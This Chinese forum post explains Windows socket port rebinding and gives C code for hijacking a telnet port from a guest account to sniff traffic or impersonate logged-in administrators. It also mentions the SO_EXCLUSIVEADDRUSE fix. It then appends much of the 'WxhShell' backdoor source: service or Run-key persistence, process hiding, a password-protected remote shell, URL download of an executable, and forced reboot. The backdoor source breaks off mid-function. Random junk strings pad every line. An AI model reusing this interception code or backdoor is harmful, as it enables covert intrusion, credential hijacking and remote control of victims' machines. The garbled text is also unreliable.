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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: =3/||b4c  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); %4+r&  
HAN#_B1.  
  saddr.sin_family = AF_INET; `C] t2^  
QXgh[9w G  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); =$Xdn'  
$Wb"X=}tl  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); !:rQ@PSy9  
8n);NZ  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 x*bM C&Ea  
KcNEB_i  
  这意味着什么?意味着可以进行如下的攻击: \gj@O5rGP  
&m+s5  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 s?E7tmaM  
V><5N;w  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) &W`yHQ"JY  
rJ9a@n,  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 "E 8-76n  
DghX(rs_  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  V:My1R0  
<E$5LP;:  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 'S@C,x%2,  
Qmzj1e$6x  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 65s|gfu/  
e)7[weGN  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ,C(")?4aJ  
tC-(GDGy5  
  #include _YO` x  
  #include . (Q;EF`_U  
  #include J<u,Y= -~  
  #include    e l7P  
  DWORD WINAPI ClientThread(LPVOID lpParam);   6D3fkvc Z  
  int main() TQ>kmHWf/  
  { M,q'   
  WORD wVersionRequested; }|{yd03 +  
  DWORD ret; Uhb6{'+  
  WSADATA wsaData; QfT&y &  
  BOOL val; YG"P:d;s  
  SOCKADDR_IN saddr; pmIQD"  
  SOCKADDR_IN scaddr; FeLWQn/aV6  
  int err; }T4"#'`  
  SOCKET s; ##1[/D(  
  SOCKET sc; r`B8Cik  
  int caddsize; Vk@u|6U'  
  HANDLE mt; WR gAc%  
  DWORD tid;   ,MuLu,$/  
  wVersionRequested = MAKEWORD( 2, 2 ); OHM.xw*?.  
  err = WSAStartup( wVersionRequested, &wsaData ); &{/ `Q ,  
  if ( err != 0 ) { 5NBc8h7 V  
  printf("error!WSAStartup failed!\n"); Fu{[5uv  
  return -1; 0@^YxU[YN  
  } kM]?  
  saddr.sin_family = AF_INET; &Q(Q/]U~  
   8WfF: R;  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 5pE[}@-c9  
hY/SR'8  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 7PHvsd"]p  
  saddr.sin_port = htons(23); 2syKYHV  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,? <jue/bd  
  { OUnt?[U\  
  printf("error!socket failed!\n"); o&fAnpia=  
  return -1; li%=<?%T  
  } ^e<0-uM" s  
  val = TRUE; WLv( K_3Y  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 %+Mi~k*A'  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) FyQ  
  { iV(B0z  
  printf("error!setsockopt failed!\n"); Qh%7RGh_  
  return -1; +cQ4u4  
  } u5$\E]+ _  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; q8P| ]  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 u23^* -  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 6>SP5|GG  
lmQ!q>N  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) M2%<4(UwI  
  { ]^/:Xsk$  
  ret=GetLastError(); E/Eny 5  
  printf("error!bind failed!\n"); >bEH&7+@_'  
  return -1; 2 os&d|  
  } ZTM zL%i  
  listen(s,2); EX=+TOkAf  
  while(1) 6=MejT  
  { P[% W[E<  
  caddsize = sizeof(scaddr); 86vk"  
  //接受连接请求 n"(n*Hf7b  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); k "'q   
  if(sc!=INVALID_SOCKET) !gW$A-XD  
  {  ZRsDn  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); $9M>B<]  
  if(mt==NULL) 8/ZJkI  
  { leg@ia  
  printf("Thread Creat Failed!\n"); Bx j6/a7Xd  
  break; 573wK~9oMh  
  } Q?I)1][ !"  
  } )}]<o |'  
  CloseHandle(mt); AL&}WbUC  
  } r/Qq-1E  
  closesocket(s); +\\*Iy'xK  
  WSACleanup(); Apa)qRJd  
  return 0; ()}O|JL:K  
  }   ;)u}`4~L  
  DWORD WINAPI ClientThread(LPVOID lpParam) UVxE~801Y  
  { mQ('X~l  
  SOCKET ss = (SOCKET)lpParam; EYcvD^!1g  
  SOCKET sc; yQM7QLbTk  
  unsigned char buf[4096]; 1CFrV=d  
  SOCKADDR_IN saddr; toX4kmC  
  long num; 4/~8zvz&3  
  DWORD val; LV4 x9?&  
  DWORD ret; rm1R^ n  
  //如果是隐藏端口应用的话,可以在此处加一些判断 B`T|M$Ug  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   t A\N$  
  saddr.sin_family = AF_INET; k2j:s}RHY  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Gx y>aS3  
  saddr.sin_port = htons(23); t \Fc <  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) nxA]EFS  
  { FOM~Uj  
  printf("error!socket failed!\n"); PF1!aAvVb  
  return -1; Kg~<h B6  
  } rcF;Lp :  
  val = 100; WFjNS'WI_  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) j K$4G.x  
  { HI,1~ Jw+  
  ret = GetLastError(); |hiYV  
  return -1; +}I[l,,xy  
  } h" P4  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?G* XZ0u~  
  { I&q:w\\z8|  
  ret = GetLastError(); z%`Tf&UL  
  return -1; 1LJ ?Ka[_*  
  } {{tH$j?Q  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) G>YJ3p7  
  { +T"kx\<  
  printf("error!socket connect failed!\n"); ;6e#W!  
  closesocket(sc); )j',e $m  
  closesocket(ss); gupB8 .!  
  return -1; gTH1FR8$y  
  } 1AjsAi,7;2  
  while(1) l:z :tJ#(  
  { C ])Q#!D|  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 e ! 6SJ7xC  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 F,11 \j  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 `[jQn;  
  num = recv(ss,buf,4096,0); dV<M$+;s]  
  if(num>0) InH R> ,  
  send(sc,buf,num,0); LCyci1\@  
  else if(num==0) -l`@pklQ  
  break; 23_<u]V  
  num = recv(sc,buf,4096,0); c^6v7wT5  
  if(num>0) a_`E'BkgU  
  send(ss,buf,num,0); G"5Nj3v d  
  else if(num==0) 6@]Xwq  
  break; Y H 2i V  
  } &A*oQ3  
  closesocket(ss); LJc w->  
  closesocket(sc); S/G,A,"c  
  return 0 ; ed'}ReLK  
  } ?" {+m  
ga4 gH>4  
83412@&  
========================================================== Mpk^e_9`<  
wf=#w}f  
下边附上一个代码,,WXhSHELL uZ]B?Z%y#  
bhOyx  
========================================================== 5y(irbk7  
r{YyKSL1*K  
#include "stdafx.h" L`R,4mI.W  
Ua5m2&U1  
#include <stdio.h> T!"<Kv]J  
#include <string.h> >m:.5][yu  
#include <windows.h> ^n@iCr9  
#include <winsock2.h> YQ,IdWav  
#include <winsvc.h> p0qQ(  
#include <urlmon.h> /I7sa* i  
|Mo# +{~c  
#pragma comment (lib, "Ws2_32.lib") w_KGn17  
#pragma comment (lib, "urlmon.lib") _a+0LTo".  
}(a y(  
#define MAX_USER   100 // 最大客户端连接数 Te[[xhTyw  
#define BUF_SOCK   200 // sock buffer j /)cdP  
#define KEY_BUFF   255 // 输入 buffer pEH[fA]  
>u*woNw(XM  
#define REBOOT     0   // 重启 d=oOMXYa   
#define SHUTDOWN   1   // 关机 I%e7:cs>  
JV36@DVQ  
#define DEF_PORT   5000 // 监听端口 c5;YKON  
cuq7eMG6z  
#define REG_LEN     16   // 注册表键长度 Y@9L8XNP>  
#define SVC_LEN     80   // NT服务名长度 DECX18D  
/ v5Pk.!o  
// 从dll定义API 7KRc^ *pZs  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~e 6yaX8S  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); O.& 6J/  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); yZ0;\Tr*J  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @ RTQJ+ms  
Pu/0<Orp7  
// wxhshell配置信息 }td+F&l($V  
struct WSCFG { UM|GX  
  int ws_port;         // 监听端口 >B8)Wb :  
  char ws_passstr[REG_LEN]; // 口令 n\,TW&3  
  int ws_autoins;       // 安装标记, 1=yes 0=no wS``Q8K+dM  
  char ws_regname[REG_LEN]; // 注册表键名 ~q4DePVE  
  char ws_svcname[REG_LEN]; // 服务名 l2VO=RDiW  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ;cp-jY_U  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 O3bK>9<K  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `Jm{K*&8Q  
int ws_downexe;       // 下载执行标记, 1=yes 0=no oxO}m7 ULH  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :e+GtN?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 e!tgWYN  
<' P|g  
}; a(x[+ El  
Y0s^9?*  
// default Wxhshell configuration y^;qT_)#  
struct WSCFG wscfg={DEF_PORT, A'[A!NL%  
    "xuhuanlingzhe", :vurU$\  
    1, ^3=8*Xr  
    "Wxhshell", ni2H~{]z  
    "Wxhshell", ?#04x70  
            "WxhShell Service", Rn(|  
    "Wrsky Windows CmdShell Service", 5Hr(9)  
    "Please Input Your Password: ", ( fdDFb#1  
  1, ;Ic3th%u  
  "http://www.wrsky.com/wxhshell.exe", }s}9@kl;&  
  "Wxhshell.exe" &CUkR6  
    }; >x2T '  
wf|CE410  
// 消息定义模块 L'aMXNO  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $ZcmE<7k  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^jf$V #z0/  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; D cus-,u~  
char *msg_ws_ext="\n\rExit."; Y] P}7GZ  
char *msg_ws_end="\n\rQuit."; -\UzL:9>  
char *msg_ws_boot="\n\rReboot..."; X@~sIUXx9  
char *msg_ws_poff="\n\rShutdown..."; ~@'|R%jJ  
char *msg_ws_down="\n\rSave to "; &cpRB&bf  
sv0kksj  
char *msg_ws_err="\n\rErr!"; RK rBHqh@  
char *msg_ws_ok="\n\rOK!"; cLR8U1k'  
Ae ue:u>  
char ExeFile[MAX_PATH]; (a^F`#]  
int nUser = 0; #:s'&.6  
HANDLE handles[MAX_USER]; &RROra  
int OsIsNt; >W-e0kkH  
D"^ogY#LK  
SERVICE_STATUS       serviceStatus; @C z1rKU^l  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; k;LENB2iv  
,pLesbI  
// 函数声明 SCGQo.~,  
int Install(void); jDXmre?  
int Uninstall(void); _ORW'(:Z  
int DownloadFile(char *sURL, SOCKET wsh); ^+GN8LUs  
int Boot(int flag); da I-*  
void HideProc(void); t:M>&r:BL  
int GetOsVer(void); ~gBqkZ# y?  
int Wxhshell(SOCKET wsl); wV5<sH__  
void TalkWithClient(void *cs); oK(ua  
int CmdShell(SOCKET sock); <7 PtC,74  
int StartFromService(void); A)`M*(~  
int StartWxhshell(LPSTR lpCmdLine); l@j!j]nE  
k?J}-+Bm[|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); D(h|r^5  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); .S?,%4v%%  
|?g2k:fzB7  
// 数据结构和表定义 mY`b|cS3p$  
SERVICE_TABLE_ENTRY DispatchTable[] = W]M[5p]*  
{ @&EP& $*  
{wscfg.ws_svcname, NTServiceMain}, X0!48fL*  
{NULL, NULL} !0fK*qIL  
}; \[D"W{9l  
Q45rP4mQ  
// 自我安装 6b]vHT|p  
int Install(void) [,1j(s`N5  
{ K} ;uH,  
  char svExeFile[MAX_PATH]; ait/|a  
  HKEY key; /,:32H  
  strcpy(svExeFile,ExeFile); 0f-gQD  
E* lqCh  
// 如果是win9x系统,修改注册表设为自启动 @l;f';+  
if(!OsIsNt) { /1OhW>W3eH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c69C=WQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~z< ? Wh  
  RegCloseKey(key); ]\_4r)cN<n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .0a$E`V=D  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DH 9?~|  
  RegCloseKey(key); KRXe\Sx  
  return 0; Q7Dkh KT  
    } fqF1 - %  
  } Y: byb68  
} |20p#]0E+  
else { LXK+WB/s  
9k *'5(D4S  
// 如果是NT以上系统,安装为系统服务 PMTyiwlm  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); UhEnW8^bz1  
if (schSCManager!=0) E4{^[=}  
{ W0nRUAo[  
  SC_HANDLE schService = CreateService BRW   
  ( FijzO  
  schSCManager, ] xH `  
  wscfg.ws_svcname, XDI@ mQmzB  
  wscfg.ws_svcdisp, SgY>$gP9S  
  SERVICE_ALL_ACCESS, JgxOxZS`@  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , c^=,@#  
  SERVICE_AUTO_START, !D6@\  
  SERVICE_ERROR_NORMAL, |H |ewVUY  
  svExeFile, sXfx[)T<  
  NULL, 9xWeVlfQ  
  NULL, n=yFw\w'  
  NULL, `Y(/G"]  
  NULL, ChBZGuO:  
  NULL XS1>ti|<  
  ); t=yM}#r$  
  if (schService!=0) qQ|v~^  
  { ey Cg *  
  CloseServiceHandle(schService); |~Z+Xl a  
  CloseServiceHandle(schSCManager); M"V?fn'  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); UCq+F96j  
  strcat(svExeFile,wscfg.ws_svcname); w-\GrxlbX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Y]Xal   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0&w.QoZY(  
  RegCloseKey(key); dwmj*+  
  return 0; M VsIyP  
    } $I tehy  
  } nNL9B~d  
  CloseServiceHandle(schSCManager); WJg?R^  
} QU\|RX   
} ,Z52d ggD  
bx5X8D  
return 1; (IEtjv}D  
} gMgbqGF)  
\Hy~~Zh2  
// 自我卸载 p~M^' k=d  
int Uninstall(void) S(rA96n  
{ hsVWD,w  
  HKEY key; 3|@Ske1%Y  
pET5BMxGG  
if(!OsIsNt) { <)"Mi}Q[)p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gE:qMs;  
  RegDeleteValue(key,wscfg.ws_regname); %+`$Lb?{  
  RegCloseKey(key); XRaq\a`=:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $_<,bC1[  
  RegDeleteValue(key,wscfg.ws_regname); QZd ,GY5{  
  RegCloseKey(key); @y}1%{,%  
  return 0; h"q`gj  
  } q,+d\-+  
} _STN^   
} P/0n) Q  
else { ^Dd$8$?[  
mF#{"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :GO}G`jY  
if (schSCManager!=0) ^OYar(  
{ \f%jN1z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Y.=v!*p?}  
  if (schService!=0) M3x%D)*  
  { Ga~IOlS  
  if(DeleteService(schService)!=0) { P~=|R9 t  
  CloseServiceHandle(schService); 8wwD\1pLS  
  CloseServiceHandle(schSCManager); + e4o~ p  
  return 0; CB6<Vng}C  
  } L%N|8P[  
  CloseServiceHandle(schService); \/'u(|G  
  } *R8q)Q  
  CloseServiceHandle(schSCManager); N0/DPZX7  
} ?mrG^TV^+r  
} /Wk\ 6  
LUJKR6oT{>  
return 1;  :3u>%  
} Eiwo== M  
@Vc*JEW  
// 从指定url下载文件 H}X3nl\]  
int DownloadFile(char *sURL, SOCKET wsh) {bl^O  
{ rFdovfb   
  HRESULT hr; R~;<}!Gtx  
char seps[]= "/"; nKufVe  
char *token; tE- s/  
char *file; g)2}`}  
char myURL[MAX_PATH]; =3l%ZL/  
char myFILE[MAX_PATH]; "M1[@xog  
@/XA*9]l  
strcpy(myURL,sURL); 91e&-acA  
  token=strtok(myURL,seps); 3fM~R+p  
  while(token!=NULL) AEhh 6v  
  { > STWt>s  
    file=token; @)|62Dv /  
  token=strtok(NULL,seps); E_7N^htv  
  } PJS\> N&u  
=K}5 fe  
GetCurrentDirectory(MAX_PATH,myFILE); IIs'm!"Y>  
strcat(myFILE, "\\"); WHMt$W}%  
strcat(myFILE, file); dz&8$(f,  
  send(wsh,myFILE,strlen(myFILE),0); i5q VQo  
send(wsh,"...",3,0); wjQu3 ,Cj  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); hH|3s-o  
  if(hr==S_OK) $_% a=0  
return 0; Hj$JXo[U  
else jL>IX`,+6  
return 1; &8z`]mB{t  
n<uF9N<   
} 4tof[n3us  
z45ImItH  
// 系统电源模块 q:+,'&<D  
int Boot(int flag) uI!rJc>TX  
{ O}"VK  
  HANDLE hToken; pQ!NhzQ  
  TOKEN_PRIVILEGES tkp; [n44;  
xP "7B9B  
  if(OsIsNt) { v&D^N9hy9  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;1A4p`)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); yk,o*g  
    tkp.PrivilegeCount = 1; ehV`@ss  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; V*2uW2\}  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); D:/^TEib  
if(flag==REBOOT) { I|@%|sTW  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) n0:'h}^  
  return 0; a2SMNC]  
} xJ:15eDC  
else { >A;Mf*E  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) CMI%jyiX  
  return 0; JJPU!  
} 0V@u]  
  } -O:+?gG  
  else { Ux2(Oph  
if(flag==REBOOT) { #;# V1  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4 >at# Zc  
  return 0; =rMT1  
} nm_]2z O  
else { $0~H~ -  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) s=h  
  return 0; '%vb&a!.6  
} 5IE2&V  
} PV<=wc^  
aqSHo2]DX9  
return 1; ^OnU;8IC  
} \!Cix}}1  
Gt3V}"B3\  
// win9x进程隐藏模块 D pI)qg#>V  
void HideProc(void) U R>zL3  
{ $e)d!m.  
J=JYf_=4bc  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~Pq1@N>n  
  if ( hKernel != NULL ) FctqE/>}I  
  { J\^ZRu_K  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); meA=lg?  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); XCc /\  
    FreeLibrary(hKernel); ^mz&L|h  
  } mEyJ o|  
]3u ErnI  
return; c=p`5sN)  
} a ;WRTV  
$1y8gm  
// 获取操作系统版本 B&ItA76  
int GetOsVer(void) .$pW?C 3e  
{ .&:y+Oww~  
  OSVERSIONINFO winfo; >RZ]t[)y  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); {7.."@Ob<v  
  GetVersionEx(&winfo); tpOMKh.`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) h,o/(GNnW  
  return 1; j6]+ fo&3  
  else kscZ zXv  
  return 0; G0 Q} 1  
} aw&:$twbM  
:8\!;!  
// 客户端句柄模块 ,K'>s<}  
int Wxhshell(SOCKET wsl) VJmX@zX9  
{ >77N5 >]e  
  SOCKET wsh; MB06=N  
  struct sockaddr_in client; C8 9c2  
  DWORD myID; 5 0uYU[W  
M0zJGIT~b  
  while(nUser<MAX_USER) ofH=h  
{ ^m8T$^z>  
  int nSize=sizeof(client); eM Ym@~4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Y /$`vgqs  
  if(wsh==INVALID_SOCKET) return 1; =@q 9,H  
q<Gn@xc'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); v6(Yz[  
if(handles[nUser]==0) 5G"LuA  
  closesocket(wsh); +aR.t@D+"Y  
else D;VQoO  
  nUser++; &/R`\(hEA  
  } -e0C Bp  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &D0suK#  
?0 93'lA  
  return 0; c@;$6WSG^  
} ilJeI@  
d*Q:[RUf,  
// 关闭 socket itClCEOA  
void CloseIt(SOCKET wsh) ~'>RK  
{ E^B*:w3  
closesocket(wsh); H<T9$7Yr%r  
nUser--; {C3AxK0  
ExitThread(0); q/w<>u  
} k]?M^jrm  
)NAC9:8!  
// 客户端请求句柄 GG%X1c8K  
void TalkWithClient(void *cs) {uH 4j4)2  
{ `2`Nu:r^  
m}/LMY  
  SOCKET wsh=(SOCKET)cs; B w?Kb@  
  char pwd[SVC_LEN]; x}o]R  
  char cmd[KEY_BUFF]; l}odW  
char chr[1];  t9T3e  
int i,j; jm9J-%?  
o8B_;4uB  
  while (nUser < MAX_USER) { ]4~- z3=y  
W _j`'WN/  
if(wscfg.ws_passstr) { Z)}q=NjA  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7oaa)  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !_0kn6 S5  
  //ZeroMemory(pwd,KEY_BUFF); LoZ8;VU  
      i=0; mw0#Dhyy1=  
  while(i<SVC_LEN) { 0s)B~  
i\hH .7G1  
  // 设置超时 f[v~U<\R  
  fd_set FdRead; *AX)QKQ@  
  struct timeval TimeOut; yem*g1  
  FD_ZERO(&FdRead); NCbl|v=  
  FD_SET(wsh,&FdRead); )#ze  
  TimeOut.tv_sec=8; 3S='/^l  
  TimeOut.tv_usec=0; w}n:_e  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]yu,YZ@7  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .Rl58]x~  
EGMj5@>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s!S,;H  
  pwd=chr[0]; $T* ##kyE9  
  if(chr[0]==0xd || chr[0]==0xa) { 0=Jf93D5  
  pwd=0; 2_Me 4  
  break; ^ei[#I  
  } nTrfbK@  
  i++; <q Z"W6&&  
    } ~@ a7RiE@  
@?ntMh6  
  // 如果是非法用户,关闭 socket cy)b/4h@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); iw1((&^)"  
} Yc;cf% c1  
[XFZ2'OO  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1o)Vzv  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); SR>Sq2cW0  
.gUceXWH3  
while(1) { z{T2! w~[  
G"!YV#"~  
  ZeroMemory(cmd,KEY_BUFF); 7s:`]V%  
}gi>Z  
      // 自动支持客户端 telnet标准   !M:m(6E1  
  j=0; =w &%29BYq  
  while(j<KEY_BUFF) { [{3WHS.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <()xO(  
  cmd[j]=chr[0]; $s2Ty1  
  if(chr[0]==0xa || chr[0]==0xd) { etF?,^)h=g  
  cmd[j]=0; \ZrLh,6f.  
  break; ~N+lI\K  
  } 8>q:Q<BB2  
  j++; JtYc'%OF  
    } dIv/.x/V  
6GzmzhX4  
  // 下载文件 E\!:MCL  
  if(strstr(cmd,"http://")) { %8iA0t+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {#M=gDhbX  
  if(DownloadFile(cmd,wsh)) u:H@]z(x  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]RHR>=;  
  else PHRc*G{  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A(AyLxB47*  
  } n0:+D R  
  else { Zrfp4SlZZ  
U|odm58s  
    switch(cmd[0]) { ll;#4~iA  
  &8t?OpB =h  
  // 帮助 o:C:obiQbu  
  case '?': { cn ,zUG!-h  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Y+N^_2@+C  
    break; ^5vFF@to  
  } e2w$":6>  
  // 安装 ixN>KwH  
  case 'i': { z79L2lJn  
    if(Install()) |7WzTz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &|<~J (L;  
    else .UbmU^y|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vj0`[X   
    break; G[u_Uu=>  
    } Q(m} Sr4  
  // 卸载 G 8|[.n  
  case 'r': { AG) N^yd  
    if(Uninstall()) [:$j<}UmB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /b@0HL?  
    else >K#Z]k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Jl3l\I'  
    break; !7J;h{3Uw  
    } 77/y{#Sk  
  // 显示 wxhshell 所在路径 +Cx~4zEq  
  case 'p': { sw*k(i  
    char svExeFile[MAX_PATH]; a AYO(;3  
    strcpy(svExeFile,"\n\r"); (omdmT%D  
      strcat(svExeFile,ExeFile); r5[om$|*  
        send(wsh,svExeFile,strlen(svExeFile),0); "%ag^v9  
    break; L.(T"`-i  
    } ^8)&~q*  
  // 重启 U0u@[9!  
  case 'b': { D+rDgrv  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); GSV,  
    if(Boot(REBOOT)) #Q6wv/"Ub  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S6}_Z  
    else { S}e*~^1J  
    closesocket(wsh); #l~ d  
    ExitThread(0); XRs/gUT  
    } Ed #%F-1sX  
    break; EH3jzE3N  
    } lsW.j#yE!  
  // 关机 S$%/9^\jF  
  case 'd': { 6f 6_ztTL  
